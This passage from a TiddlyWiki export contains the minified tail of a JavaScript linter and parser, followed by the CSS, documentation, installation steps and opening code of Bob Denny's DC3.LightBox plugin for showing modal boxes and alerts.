function identifier(){var i=optionalidentifier();if(i){return i;}
throw error("Expected an identifier and instead saw '"+
token.value+"'.",token);}
function reachable(s){var i=0,t;if(token.id!=';'){return;}
while(error.free){t=peek(i);if(t.reach){return;}
if(t.id!='(endline)'){if(t.id==='function'){throw error("Inner functions should be listed at the top of the outer function.",t);}
throw error("Unreachable '"+t.value+"' after '"+s+"'.",t);}
i+=1;}}
function statement(){var t=token;if(t.identifier&&!t.reserved&&peek().id===':'){advance();advance(':');addlabel(t.value,'live*');if(!token.labelled){throw error("Label '"+t.value+"' on unlabelable statement '"+token.value+"'.",token);}
if(t.value.toLowerCase()=='javascript'){throw error("Label '"+t.value+"' looks like a javascript url.",token);}
token.label=t.value;t=token;}
parse(0,true);if(!t.block&&error.free){if(token.id!=';'){throw error("Expected ';' and instead saw '"+token.value+"'.",prevtoken.line,prevtoken.from+prevtoken.value.length);}
advance(';');}}
function statements(){while(error.free&&!token.reach){statement();}}
function block(){var t=token;advance('{');statements();advance('}',t);verb=null;}
function idValue(){return this;}
function countMember(m){if(typeof member[m]==='number'){member[m]+=1;}else{member[m]=1;}}
type('(number)',idValue);type('(string)',idValue);syntax['(identifier)']={type:'(identifier)',lbp:0,identifier:true,nud:function(){addlabel(this.value,'global');return this;},led:function(){throw error("Expected an operator and instead saw '"+
token.value+"'.");}};type('(regex)',function(){return[this.id,this.value,this.flags];});delim('(endline)');delim('(begin)');delim('(end)').reach=true;delim('</').reach=true;delim('<![').reach=true;delim('<%');delim('<?');delim('<!');delim('<!--');delim('%>');delim('?>');delim('(error)').reach=true;delim('}').reach=true;delim(')');delim(']');delim(']]>').reach=true;delim('"').reach=true;delim("'").reach=true;delim(';');delim(':').reach=true;delim(',');reserve('else');reserve('case').reach=true;reserve('default').reach=true;reserve('catch');reserve('finally');reservevar('this');reservevar('true');reservevar('false');reservevar('Infinity');reservevar('NaN');reservevar('null');reservevar('undefined');assignop('=','assign',20);assignop('+=','assignadd',20);assignop('-=','assignsub',20);assignop('*=','assignmult',20);assignop('/=','assigndiv',20).nud=function(){throw error("A regular expression literal can be confused with '/='.");};assignop('%=','assignmod',20);assignop('&=','assignbitand',20);assignop('|=','assignbitor',20);assignop('^=','assignbitxor',20);assignop('<<=','assignshiftleft',20);assignop('>>=','assignshiftright',20);assignop('>>>=','assignshiftrightunsigned',20);infix('?',function(left){parse(10);advance(':');parse(10);},30);infix('||','or',40);infix('&&','and',50);infix('|','bitor',70);infix('^','bitxor',80);infix('&','bitand',90);infix('==',function(left){var t=token;if((t.type==='(number)'&&!+t.value)||(t.type==='(string)'&&!t.value)||t.type==='true'||t.type==='false'||t.type==='undefined'||t.type==='null'){throw error("Use '===' to compare with '"+t.value+"'.",t);}
return['==',left,parse(100)];},100);infix('===','equalexact',100);infix('!=',function(left){var t=token;if((t.type==='(number)'&&!+t.value)||(t.type==='(string)'&&!t.value)||t.type==='true'||t.type==='false'||t.type==='undefined'||t.type==='null'){throw error("Use '!==' to compare with '"+t.value+"'.",t);}
return['!=',left,parse(100)];},100);infix('!==','notequalexact',100);infix('<','less',110);infix('>','greater',110);infix('<=','lessequal',110);infix('>=','greaterequal',110);infix('<<','shiftleft',120);infix('>>','shiftright',120);infix('>>>','shiftrightunsigned',120);infix('in','in',120);infix('instanceof','instanceof',120);infix('+','addconcat',130);prefix('+','num');infix('-','sub',130);prefix('-','neg');infix('*','mult',140);infix('/','div',140);infix('%','mod',140);suffix('++','postinc');prefix('++','preinc');syntax['++'].exps=true;suffix('--','postdec');prefix('--','predec');syntax['--'].exps=true;prefix('delete',function(){parse(0);}).exps=true;prefix('~','bitnot');prefix('!','not');prefix('typeof','typeof');prefix('new',function(){parse(160);advance('(');if(token.id!==')'){while(error.free){parse(10);if(token.id!==','){break;}
advance(',');}}
advance(')');return syntax['function'];});syntax['new'].exps=true;infix('.',function(left){var m=identifier();if(typeof m==='string'){countMember(m);}
return true;},160);infix('(',function(left){var n=0;if(token.id!==')'){while(error.free){parse(10);n+=1;if(token.id!==','){break;}
advance(',');}}
advance(')');if(left&&left.value=='parseInt'&&n==1){throw error("Missing radix parameter",left);}
return syntax['function'];},160).exps=true;prefix('(',function(){parse(0);advance(')',this);});infix('[',function(left){var e=parse(0);if(e&&e.type==='(string)'){countMember(e.value);}
advance(']',this);return true;},160);prefix('[',function(){if(token.id===']'){advance(']');return;}
while(error.free){parse(10);if(token.id===','){advance(',');if(token.id===']'||token.id===','){throw error('Extra comma.',prevtoken);}}else{advance(']',this);return;}}},160);(function(x){x.nud=function(){var i;if(token.id==='}'){advance('}');return;}
while(error.free){i=optionalidentifier(true);if(!i&&(token.id==='(string)'||token.id==='(number)')){i=token.id;advance();}
if(!i){throw error("Expected an identifier and instead saw '"+
token.value+"'.");}
if(typeof i.value==='string'){countMember(i.value);}
advance(':');parse(10);if(token.id===','){advance(',');if(token.id===','||token.id==='}'){throw error("Extra comma.");}}else{advance('}',this);return;}}};x.fud=function(){throw error("Expected to see a statement and instead saw a block.");};})(delim('{'));function varstatement(){while(error.free){addlabel(identifier(),'var');if(token.id==='='){advance('=');parse(20);}
if(token.id===','){advance(',');}else{return;}}}
stmt('var',varstatement);function functionparams(){var t=token;advance('(');if(token.id===')'){advance(')');return;}
while(error.free){addlabel(identifier(),'parameter');if(token.id===','){advance(',');}else{advance(')',t);return;}}}
blockstmt('function',function(){var i=identifier();addlabel(i,'var*');beginfunction(i);addlabel(i,'function');functionparams();block();endfunction();});prefix('function',function(){var i=optionalidentifier()||('"'+anonname+'"');beginfunction(i);addlabel(i,'function');functionparams();block();endfunction();});blockstmt('if',function(){var t=token;advance('(');parse(20);advance(')',t);block();if(token.id==='else'){advance('else');if(token.id==='if'||token.id==='switch'){statement();}else{block();}}});blockstmt('try',function(){var b;block();if(token.id==='catch'){advance('catch');beginfunction('"catch"');functionparams();block();endfunction();b=true;}
if(token.id==='finally'){advance('finally');beginfunction('"finally"');block();endfunction();return;}else if(!b){throw error("Expected 'catch' or 'finally' and instead saw '"+
token.value+"'.");}});blockstmt('while',function(){var t=token;advance('(');parse(20);advance(')',t);block();}).labelled=true;reserve('with');blockstmt('switch',function(){var t=token;advance('(');var g=false;parse(20);advance(')',t);t=token;advance('{');while(error.free){switch(token.id){case'case':switch(verb){case'break':case'case':case'continue':case'return':case'switch':case'throw':break;default:throw error("Expected a 'break' statement before 'case'.",prevtoken);}
advance('case');parse(20);g=true;advance(':');verb='case';break;case'default':switch(verb){case'break':case'continue':case'return':case'throw':break;default:throw error("Expected a 'break' statement before 'default'.",prevtoken);}
advance('default');g=true;advance(':');break;case'}':advance('}',t);return;default:if(g){statements();}else{throw error("Expected to see 'case' and instead saw '"+
token.value+"'.");}}}}).labelled=true;stmt('debugger',function(){if(!jslint.debug){throw error("All debugger statements should be removed.");}});stmt('do',function(){block();advance('while');var t=token;advance('(');parse(20);advance(')',t);}).labelled=true;blockstmt('for',function(){var t=token;advance('(');if(peek(token.id==='var'?1:0).id==='in'){if(token.id==='var'){advance('var');addlabel(identifier(),'var');}else{advance();}
advance('in');parse(20);advance(')',t);block();return;}else{if(token.id!=';'){if(token.id==='var'){advance('var');varstatement();}else{for(;;){parse(0);if(token.id!==','){break;}
advance(',');}}}
advance(';');if(token.id!=';'){parse(20);}
advance(';');if(token.id===';'){throw error("Expected to see ')' and instead saw ';'");}
if(token.id!=')'){for(;;){parse(0);if(token.id!==','){break;}
advance(',');}}
advance(')',t);block();}}).labelled=true;stmt('throw',function(){parse(20);reachable('throw');});stmt('return',function(){if(token.id!=';'&&!token.reach){parse(20);}
reachable('return');});stmt('break',function(){if(funlab[token.value]==='live*'){advance();}
reachable('break');});stmt('continue',function(){if(funlab[token.id]==='live*'){advance();}
reachable('continue');});reserve('abstract');reserve('as');reserve('boolean');reserve('byte');reserve('char');reserve('class');reserve('const');reserve('double');reserve('enum');reserve('export');reserve('extends');reserve('final');reserve('float');reserve('goto');reserve('implements');reserve('import');reserve('int');reserve('interface');reserve('long');reserve('native');reserve('package');reserve('private');reserve('protected');reserve('public');reserve('short');reserve('static');reserve('super');reserve('synchronized');reserve('throws');reserve('transient');reserve('use');reserve('void');reserve('volatile');function Token(s){this.id=s;this.lbp=0;this.identifier=true;syntax[s]=this;}
Token.prototype.nud=function(){addlabel(this.id,'global');return this.id;};Token.prototype.led=function(){throw error("Expected an operator and instead saw '"+
token.id+"'.");};jslint.report=function(){var a=[],c,cc,f,i,k,o='',s;function detail(h){if(s.length){return'<div>'+h+':&nbsp; '+s.sort().join(', ')+'</div>';}
return'';}
for(k in member){a.push(k);}
if(a.length){a=a.sort();for(i=0;i<a.length;i+=1){a[i]='<tr><td><tt>'+a[i]+'</tt></td><td>'+
member[a[i]]+'</td></tr>';}
o+='<table><tbody><tr><th>Members</th><th>Occurrences</th></tr>'+
a.join('')+'</tbody></table>';}
for(i=0;i<functions.length;++i){f=functions[i];for(k in f){if(f[k]==='global'){c=f['(context)'];while(error.free){cc=c['(context)'];if(!cc){if((!funlab[k]||funlab[k]==='var?')&&builtin[k]!=9){funlab[k]='var?';f[k]='global?';}
break;}
if(c[k]==='parameter!'||c[k]==='var!'){f[k]='var.';break;}
if(c[k]==='var'||c[k]==='var*'||c[k]==='var!'){f[k]='var.';c[k]='var!';break;}
if(c[k]==='parameter'){f[k]='var.';c[k]='parameter!';break;}
c=cc;}}}}
s=[];for(k in funlab){if(funlab[k].substr(0,3)==='var'){if(funlab[k]==='var?'){s.push('<tt>'+k+'</tt><small>&nbsp;(?)</small>');}else{s.push('<tt>'+k+'</tt>');}}}
o+=detail('Global');if(functions.length){o+='<p>Function:</p><ol style="padding-left:0.5in">';}
for(i=0;i<functions.length;i+=1){f=functions[i];o+='<li value='+
f['(line)']+'><tt>'+(f['(name)']||'')+'</tt>';s=[];for(k in f){if(k.charAt(0)!='('){switch(f[k]){case'parameter':s.push('<tt>'+k+'</tt>');break;case'parameter!':s.push('<tt>'+k+'</tt><small>&nbsp;(closure)</small>');break;}}}
o+=detail('Parameter');s=[];for(k in f){if(k.charAt(0)!='('){switch(f[k]){case'var':s.push('<tt>'+k+'</tt><small>&nbsp;(unused)</small>');break;case'var*':s.push('<tt>'+k+'</tt>');break;case'var!':s.push('<tt>'+k+'</tt><small>&nbsp;(closure)</small>');break;case'var.':s.push('<tt>'+k+'</tt><small>&nbsp;(outer)</small>');break;}}}
o+=detail('Var');s=[];c=f['(context)'];for(k in f){if(k.charAt(0)!='('&&f[k].substr(0,6)==='global'){if(f[k]==='global?'){s.push('<tt>'+k+'</tt><small>&nbsp;(?)</small>');}else{s.push('<tt>'+k+'</tt>');}}}
o+=detail('Global');s=[];for(k in f){if(k.charAt(0)!='('&&f[k]==='label'){s.push(k);}}
o+=detail('Label');o+='</li>';}
if(functions.length){o+='</ol>';}
return o;};var scriptstring={onload:true,onunload:true,onclick:true,ondblclick:true,onmousedown:true,onmouseup:true,onmouseover:true,onmousemove:true,onmouseout:true,onfocus:true,onblur:true,onkeypress:true,onkeydown:true,onkeyup:true,onsubmit:true,onreset:true,onselect:true,onchange:true};var xmltype={HTML:{doBegin:function(n){if(!jslint.cap){throw error("HTML case error.");}
xmltype.html.doBegin();}},html:{doBegin:function(n){xtype='html';xmltype.html.script=false;builtin.alert=9;builtin.document=9;builtin.navigator=9;builtin.window=9;},doTagName:function(n,p){var i,t=xmltype.html.tag[n],x;if(!t){throw error('Unrecognized tag: <'+n+'>. '+
(n===n.toLowerCase()?'Did you mean <'+n.toLowerCase()+'>?':''));}
x=t.parent;if(x){if(x.indexOf(' '+p+' ')<0){throw error('A <'+n+'> must be within <'+x+'>',prevtoken);}}else{i=stack.length;do{if(i<=0){throw error('A <'+n+'> must be within the body',prevtoken);}
i-=1;}while(stack[i].name!=='body');}
xmltype.html.script=n==='script';return t.simple;},doAttribute:function(n,a){if(n==='script'&&a==='src'){xmltype.html.script=false;return'string';}
return scriptstring[a]&&'script';},doIt:function(n){return xmltype.html.script?'script':n!=='html'&&xmltype.html.tag[n].special&&'special';},tag:{a:{},abbr:{},acronym:{},address:{},applet:{},area:{simple:true,parent:' map '},b:{},base:{simple:true,parent:' head '},bdo:{},big:{},blockquote:{},body:{parent:' html noframes '},br:{simple:true},button:{},caption:{parent:' table '},center:{},cite:{},code:{},col:{simple:true,parent:' table colgroup '},colgroup:{parent:' table '},dd:{parent:' dl '},del:{},dfn:{},dir:{},div:{},dl:{},dt:{parent:' dl '},em:{},embed:{},fieldset:{},font:{},form:{},frame:{simple:true,parent:' frameset '},frameset:{parent:' html frameset '},h1:{},h2:{},h3:{},h4:{},h5:{},h6:{},head:{parent:' html '},html:{},hr:{simple:true},i:{},iframe:{},img:{simple:true},input:{simple:true},ins:{},kbd:{},label:{},legend:{parent:' fieldset '},li:{parent:' dir menu ol ul '},link:{simple:true,parent:' head '},map:{},menu:{},meta:{simple:true,parent:' head noscript '},noframes:{parent:' html body '},noscript:{parent:' html head body frameset '},object:{},ol:{},optgroup:{parent:' select '},option:{parent:' optgroup select '},p:{},param:{simple:true,parent:' applet object '},pre:{},q:{},samp:{},script:{parent:' head body p div span abbr acronym address bdo blockquote cite code del dfn em ins kbd pre samp strong th td var '},select:{},small:{},span:{},strong:{},style:{parent:' head ',special:true},sub:{},sup:{},table:{},tbody:{parent:' table '},td:{parent:' tr '},textarea:{},tfoot:{parent:' table '},th:{parent:' tr '},thead:{parent:' table '},title:{parent:' head '},tr:{parent:' tbody thead tfoot '},tt:{},u:{},ul:{},'var':{}}},widget:{doBegin:function(n){xtype='widget';builtin.alert=9;builtin.appleScript=9;builtin.beep=9;builtin.bytesToUIString=9;builtin.chooseColor=9;builtin.chooseFile=9;builtin.chooseFolder=9;builtin.convertPathToHFS=9;builtin.convertPathToPlatform=9;builtin.closeWidget=9;builtin.escape=9;builtin.focusWidget=9;builtin.form=9;builtin.include=9;builtin.isApplicationRunning=9;builtin.konfabulatorVersion=9;builtin.log=9;builtin.openURL=9;builtin.play=9;builtin.popupMenu=9;builtin.print=9;builtin.prompt=9;builtin.reloadWidget=9;builtin.resolvePath=9;builtin.resumeUpdates=9;builtin.runCommand=9;builtin.runCommandInBg=9;builtin.saveAs=9;builtin.savePreferences=9;builtin.showWidgetPreferences=9;builtin.sleep=9;builtin.speak=9;builtin.suppressUpdates=9;builtin.tellWidget=9;builtin.unescape=9;builtin.updateNow=9;builtin.yahooCheckLogin=9;builtin.yahooLogin=9;builtin.yahooLogout=9;builtin.COM=9;builtin.filesystem=9;builtin.preferenceGroups=9;builtin.preferences=9;builtin.screen=9;builtin.system=9;builtin.iTunes=9;builtin.URL=9;builtin.animator=9;builtin.CustomAnimation=9;builtin.FadeAnimation=9;builtin.MoveAnimation=9;builtin.RotateAnimation=9;builtin.XMLDOM=9;builtin.XMLHttpRequest=9;},doTagName:function(n,p){var t=xmltype.widget.tag[n];if(!t){throw error('Unrecognized tag: <'+n+'>. ');}
var x=t.parent;if(x.indexOf(' '+p+' ')<0){throw error('A <'+n+'> must be within <'+x+'>',prevtoken);}},doAttribute:function(n,a){var t=xmltype.widget.tag[a];if(!t){throw error('Unrecognized attribute: <'+n+' '+a+'>. ');}
var x=t.parent;if(x.indexOf(' '+n+' ')<0){throw error('Attribute '+a+' does not belong in <'+
n+'>');}
return t.script?'script':a==='name'?'define':'string';},doIt:function(n){var x=xmltype.widget.tag[n];return x&&x.script&&'script';},tag:{"about-box":{parent:' widget '},"about-image":{parent:' about-box '},"about-text":{parent:' about-box '},"about-version":{parent:' about-box '},action:{parent:' widget ',script:true},alignment:{parent:' image text textarea window '},author:{parent:' widget '},autoHide:{parent:' scrollbar '},bgColor:{parent:' text textarea '},bgOpacity:{parent:' text textarea '},checked:{parent:' image '},clipRect:{parent:' image '},color:{parent:' about-text about-version shadow text textarea '},contextMenuItems:{parent:' frame image text textarea window '},colorize:{parent:' image '},columns:{parent:' textarea '},company:{parent:' widget '},copyright:{parent:' widget '},data:{parent:' about-text about-version text textarea '},debug:{parent:' widget '},defaultValue:{parent:' preference '},defaultTracking:{parent:' widget '},description:{parent:' preference '},directory:{parent:' preference '},editable:{parent:' textarea '},enabled:{parent:' menuItem '},extension:{parent:' preference '},file:{parent:' action preference '},fillMode:{parent:' image '},font:{parent:' about-text about-version text textarea '},frame:{parent:' frame window '},group:{parent:' preference '},hAlign:{parent:' frame image scrollbar text textarea '},height:{parent:' frame image scrollbar text textarea window '},hidden:{parent:' preference '},hLineSize:{parent:' frame '},hOffset:{parent:' about-text about-version frame image scrollbar shadow text textarea window '},hotkey:{parent:' widget '},hRegistrationPoint:{parent:' image '},hslAdjustment:{parent:' image '},hslTinting:{parent:' image '},hScrollBar:{parent:' frame '},icon:{parent:' preferenceGroup '},image:{parent:' about-box frame window widget '},interval:{parent:' action timer '},key:{parent:' hotkey '},kind:{parent:' preference '},level:{parent:' window '},lines:{parent:' textarea '},loadingSrc:{parent:' image '},max:{parent:' scrollbar '},maxLength:{parent:' preference '},menuItem:{parent:' contextMenuItems '},min:{parent:' scrollbar '},minimumVersion:{parent:' widget '},minLength:{parent:' preference '},missingSrc:{parent:' image '},modifier:{parent:' hotkey '},name:{parent:' hotkey image preference preferenceGroup text textarea timer window '},notSaved:{parent:' preference '},onContextMenu:{parent:' frame image text textarea window ',script:true},onDragDrop:{parent:' frame image text textarea ',script:true},onDragEnter:{parent:' frame image text textarea ',script:true},onDragExit:{parent:' frame image text textarea ',script:true},onFirstDisplay:{parent:' window ',script:true},onGainFocus:{parent:' textarea window ',script:true},onKeyDown:{parent:' hotkey text textarea ',script:true},onKeyPress:{parent:' textarea ',script:true},onKeyUp:{parent:' hotkey text textarea ',script:true},onImageLoaded:{parent:' image ',script:true},onLoseFocus:{parent:' textarea window ',script:true},onMouseDown:{parent:' frame image text textarea ',script:true},onMouseEnter:{parent:' frame image text textarea ',script:true},onMouseExit:{parent:' frame image text textarea ',script:true},onMouseMove:{parent:' frame image text ',script:true},onMouseUp:{parent:' frame image text textarea ',script:true},onMouseWheel:{parent:' frame ',script:true},onMultiClick:{parent:' frame image text textarea window ',script:true},onSelect:{parent:' menuItem ',script:true},onTimerFired:{parent:' timer ',script:true},onValueChanged:{parent:' scrollbar ',script:true},opacity:{parent:' frame image scrollbar shadow text textarea window '},option:{parent:' preference widget '},optionValue:{parent:' preference '},order:{parent:' preferenceGroup '},orientation:{parent:' scrollbar '},pageSize:{parent:' scrollbar '},preference:{parent:' widget '},preferenceGroup:{parent:' widget '},remoteAsync:{parent:' image '},requiredPlatform:{parent:' widget '},rotation:{parent:' image '},scrollX:{parent:' frame '},scrollY:{parent:' frame '},secure:{parent:' preference textarea '},scrollbar:{parent:' text textarea '},shadow:{parent:' about-text text window '},size:{parent:' about-text about-version text textarea '},spellcheck:{parent:' textarea '},src:{parent:' image '},srcHeight:{parent:' image '},srcWidth:{parent:' image '},style:{parent:' about-text about-version preference text textarea '},text:{parent:' frame window '},textarea:{parent:' frame window '},timer:{parent:' widget '},thumbColor:{parent:' scrollbar '},ticking:{parent:' timer '},ticks:{parent:' preference '},tickLabel:{parent:' preference '},tileOrigin:{parent:' image '},title:{parent:' menuItem preference preferenceGroup window '},tooltip:{parent:' image text textarea '},truncation:{parent:' text '},tracking:{parent:' image '},trigger:{parent:' action '},truncation:{parent:' text textarea '},type:{parent:' preference '},useFileIcon:{parent:' image '},vAlign:{parent:' frame image scrollbar text textarea '},value:{parent:' preference scrollbar '},version:{parent:' widget '},visible:{parent:' frame image scrollbar text textarea window '},vLineSize:{parent:' frame '},vOffset:{parent:' about-text about-version frame image scrollbar shadow text textarea window '},vRegistrationPoint:{parent:' image '},vScrollBar:{parent:' frame '},width:{parent:' frame image scrollbar text textarea window '},window:{parent:' widget '},zOrder:{parent:' frame image scrollbar text textarea '}}}};function xmlword(tag){var w=token.value;if(!token.identifier){if(token.id==='<'){throw error(tag?"Expected &lt; and saw '<'":"Missing '>'",prevtoken);}else{throw error("Missing quotes",prevtoken);}}
advance();while(token.id==='-'||token.id===':'){w+=token.id;advance();if(!token.identifier){throw error('Bad name: '+w+token.value);}
w+=token.value;advance();}
return w;}
function xml(){var a,e,n,q,t;xmode='xml';stack=[];while(error.free){switch(token.value){case'<':advance('<');t=token;n=xmlword(true);t.name=n;if(!xtype){if(xmltype[n]){xmltype[n].doBegin();n=xtype;e=false;}else{throw error("Unrecognized <"+n+">");}}else{if(jslint.cap&&xtype==='html'){n=n.toLowerCase();}
e=xmltype[xtype].doTagName(n,stack[stack.length-1].type);}
t.type=n;while(error.free){if(token.id==='/'){advance('/');e=true;break;}
if(token.id&&token.id.substr(0,1)==='>'){break;}
a=xmlword();switch(xmltype[xtype].doAttribute(n,a)){case'script':xmode='string';advance('=');q=token.id;if(q!=='"'&&q!=="'"){throw error('Missing quote.');}
xmode=q;advance(q);statements();if(token.id!==q){throw error('Missing close quote on script attribute');}
xmode='xml';advance(q);break;case'value':advance('=');if(!token.identifier&&token.type!='(string)'&&token.type!='(number)'){throw error('Bad value: '+token.value);}
advance();break;case'string':advance('=');if(token.type!=='(string)'){throw error('Bad value: '+token.value);}
advance();break;case'define':advance('=');if(token.type!=='(string)'){throw error('Bad value: '+token.value);}
addlabel(token.value,'global');advance();break;default:if(token.id==='='){advance('=');if(!token.identifier&&token.type!='(string)'&&token.type!='(number)'){}
advance();}}}
switch(xmltype[xtype].doIt(n)){case'script':xmode='script';advance('>');statements();xmode='xml';break;case'special':e=true;n='</'+t.name+'>';if(!lex.skip(n)){throw error("Missing "+n,t);}
break;default:lex.skip('>');}
if(!e){stack.push(t);}
break;case'</':advance('</');n=xmlword(true);t=stack.pop();if(!t){throw error('Unexpected close tag: </'+n+'>');}
if(t.name!=n){throw error('Expected </'+t.name+'> and instead saw </'+n+'>');}
if(token.id!=='>'){throw error("Expected '>'");}
lex.skip('>');break;case'<!':while(error.free){advance();if(token.id==='>'){break;}
if(token.id==='<'||token.id==='(end)'){throw error("Missing '>'.",prevtoken);}}
lex.skip('>');break;case'<!--':lex.skip('-->');break;case'<%':lex.skip('%>');break;case'<?':while(error.free){advance();if(token.id==='?>'){break;}
if(token.id==='<?'||token.id==='<'||token.id==='>'||token.id==='(end)'){throw error("Missing '?>'.",prevtoken);}}
lex.skip('?>');break;case'<=':case'<<':case'<<=':throw error("Expected '&lt;'.");case'(end)':return;}
if(!lex.skip('')){if(stack.length){t=stack.pop();throw error('Missing </'+t.name+'>',t);}
return;}
advance();}}})();
//}}}

//{{{
// for debugging: you can turn it off in final release ----------------------
wikibar_addonInstall();
//}}}
#lightBoxOverlay {
    position:absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: 90;   
    background-color: #000;
    -moz-opacity: 0.6;
    opacity: .60;
    filter: alpha(opacity=60);
}
#lightBoxOverlay[id]{ 
    position: fixed;
}

div.lightBox {
    background: #2d2d2d;
    color: #fff;
    border: 2px solid #eee;
}

img.lightBoxClose {
    position: absolute;
    top: -5px;
    right: -5px;
    margin: 0px;
    cursor: pointer;
}

div.lightBoxAlert {
    width: 300px;
    height: 64px;
    background: #2d2d2d;
    color: #fff;
    padding: 10px;
    border: 2px solid #eee;
}

div.lightBoxAlertIcon {
	position: absolute;
	top: 8px;
	left: 8px;
	width: 48px;
	height: 48px;
}

div.lightBoxAlertMessage {
	margin-left: 56px;
	margin-top: 16px;
}
/***
|''Name:''|~DC3.LightBox|
|''Description:''|LightBox support library|
|''Date:''|Dec 25, 2006|
|''Source:''|http://solo.dc3.com/tw/#LightBoxPlugin|
|''Author:''|Bob Denny ~DC-3 Dreams, SP|
|''License:''|[[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|''Version:''|1.0.1|
|''~CoreVersion:''|2.1.x|
|''Browser:''|Firefox 1.5/2.0; Internet Explorer 6.0/7.0; Safari|
|''Require:''|LightBoxCSS (see below), support HTML in MarkupPreHead (see below), access to icon images in subdir ''im'' (showAlert() only)|
!Description
This plugin implements a lightbox widget for ~TiddlyWiki. Via Javascript, you can display any HTML div in the lightbox, or use "canned" divs for displaying HTML message in a box or an alert with icon. The lightbox is closed by either clicking the X-icon or anywhere outside the lightbox. Only one lightbox can be active at a time. See the usage section below.
!!Usage
This plugin is a __library__, not a macro. Thus, it must be tagged {{{systemConfig}}}, but it does not support macro invocation. It is callable only from Javascript so the [[InlineJavascriptPlugin|http://www.tiddlytools.com/#InlineJavascriptPlugin]] is a virtual necessity!
|!Usage|!Sample Javascript|
|Display HTML message|{{{DC3.LightBox.showContent("Some <i>message</i>");}}}|
|Display alert|{{{DC3.LightBox.showAlert("ok", "All is well");}}}|
|Display any DIV in a lightbox|{{{DC3.LightBox.showBox("myLightBox");}}}|
|Close current lightbox|{{{DC3.LightBox.hideBox()}}}|
*The frame for the showContent() and showAlert() methods should expand to enclose text, but this happens only on IE and not FireFox. To be safe, just keep your messages short and use showBox() and your own HTML div for "big" messages etc.
*The first parameter to showAlert() is the icon name. This is simply translated to {{{im/icon.png}}}. The standard icon image files (below) are used with icon strings of "error, "info", "ok", "question", and "warning". 
*The generalized showBox() method can be used to display images, media players, whatever you want! Just make up the HTML div, give it an id, then pass that ID to showBox().
!!Advanced Usage - onClose
All three of the above methods support an optional parameter onClose, supplied as the last parameter in a call. It must evaluate to a function which is called (with no parameters) when the lightbox is about to close. If the onClose() function returns false, the lightbox will not be closed. For example 
{{{
DC3.LightBox.showAlert("warning", "Something <em>bad</em> is about to happen", soundBuzzer);
}}}
!Installation
#Paste this entire tiddler into a tiddler called DC3.LightBox and tag it {{{systemConfig}}}.
#Paste the Required CSS (below) into a tiddler called LightBoxCSS and tag it {{{systemContent}}}.
#Paste the content for MarkupPreHead (below) into MarkupPreHead.
#Put the image files (below) into a subfolder ''im'' relative to the location of the TiddlyWiki. 
!!!Required CSS
Paste into a tiddler called LightBoxCSS.
{{{
#lightBoxOverlay {
    position:absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: 90;   
    background-color: #000;
    -moz-opacity: 0.6;
    opacity: .60;
    filter: alpha(opacity=60);
}
#lightBoxOverlay[id]{ 
    position: fixed;
}

div.lightBox {
    background: #2d2d2d;
    color: #fff;
    border: 2px solid #eee;
}

img.lightBoxClose {
    position: absolute;
    top: -5px;
    right: -5px;
    margin: 0px;
    cursor: pointer;
}

div.lightBoxAlert {
    width: 300px;
    height: 64px;
    background: #2d2d2d;
    color: #fff;
    padding: 10px;
    border: 2px solid #eee;
}

div.lightBoxAlertIcon {
	position: absolute;
	top: 8px;
	left: 8px;
	width: 48px;
	height: 48px;
}

div.lightBoxAlertMessage {
	margin-left: 56px;
	margin-top: 16px;
}
}}}
!!!Content for MarkupPreHead
{{{
<!-- LightBox translucent overlay -->
<div id="lightBoxOverlay" onclick="DC3.LightBox.hideBox()" style="display:none"></div>
<!-- General use simple LightBox -->
<div class="lightBox" id="lightBox" style="display:none">
	<img class="lightBoxClose" src="im/close.gif" onclick="DC3.LightBox.hideBox()" alt="Close" title="Close this window" />
	<div id="lightBoxContent"></div>
</div>
<!-- General use Alert LightBox -->
<div class="lightBoxAlert" id="lightBoxAlert" style="display:none">
	<img class="lightBoxClose" src="im/close.gif" onclick="DC3.LightBox.hideBox()" alt="Close" title="Close this window" />
	<div class="lightBoxAlertIcon"><img id="lightBoxAlertIcon" src="runtime" alt="runtime" title="runtime"></div>
	<div class="lightBoxAlertMessage" id="lightBoxAlertMessage">runtime</div>
</div>
<!-- End of LightBox -->
}}}
!!!Images (close box and alert icons)
These must be in a subfolder ''im'' below the ~TiddlyWiki. You can get the images by right clicking on the links and //save target/link//, or right clicking on the images and //save image//. @@Note: The images below will display ugly in IE6, but they will display nice (with transparency) in the lightbox alerts, owing to the use of the DXFilters for transparency in the code.@@
|[[close.gif|im/close.gif]]|[img[im/close.gif]]|[[error.png|im/error.png]]|[img[im/error.png]]|
|[[info.png|im/info.png]]|[img[im/info.png]]|[[ok.png|im/ok.png]]|[img[im/ok.png]]|
|[[question.png|im/question.png]]|[img[im/question.png]]|[[warning.png|im/warning.png]]|[img[im/warning.png]]|
!!Credits
This TiddlyWiki library and CSS is an amalgamation of the techniques and code described in the following: 
* [[Original LightBox|http://www.huddletogether.com/projects/lightbox/]] by Lokesh Dhakar
* [[Lightweight LightBox|http://www.pjhyett.com/posts/190-the-lightbox-effect-without-lightbox]] that can show any DIV by PJ Hyett
* [[Better Modal Windows with LightBox|http://blog.feedmarker.com/2006/02/12/how-to-make-better-modal-windows-with-lightbox/]] by Bruno
Bruno's CSS for the overlay is much better than the first two, it is independent of any PNG image(s) and does not have CSS quirk-hacks for IE, nor does it use IE's DXFilters for PNG transparency. Of course for IE6, the DXFilters are used in the Javascript!
!!Revision History
<<<
''2006.12.02 [1.0.1]'' Initial creation
''2006.12.03 [1.0.1]'' hideBox() no longer takes //id// just closes currently open box. Needed for overlay click/close.
''2006.12.03 [1.0.1]'' Add support for special Alert type LightBox with switchable icon. Hack IE for alpha transparency. See inline comments. Add showContent(html), showAlert(icon, message)
''2006.12.04 [1.0.1]'' Ignore show calls if box is already displayed. Optional callback for hideBox(), can prevent hiding. Allows modal box to be set up by caller.
''2006.12.25 [1.0.1]'' Documentation and installation instructions
<<<
!!Code
***/
//{{{

// Initialize style sheet from tiddler
refreshStyles("LightBoxCSS");

if (!window.DC3) window.DC3 = {};
window.DC3.LightBox = 
{
	//
	//Internal proterties
	//
	_curBox: null,						// [sentinel]
	_onClose: null,						// [sentinel]
	_alertImgDiv: null,					// [sentinel]
	_alertImgHTML: null,				// [sentinel]
	
	//
	// Public interface
	//
	showContent: function(content, onClose) {							// Uses generic LightBox in MarkupPreBody
		if(this._curBox) return;										// Ignore if box already showing (typ.)
		document.getElementById("lightBoxContent").innerHTML = content;
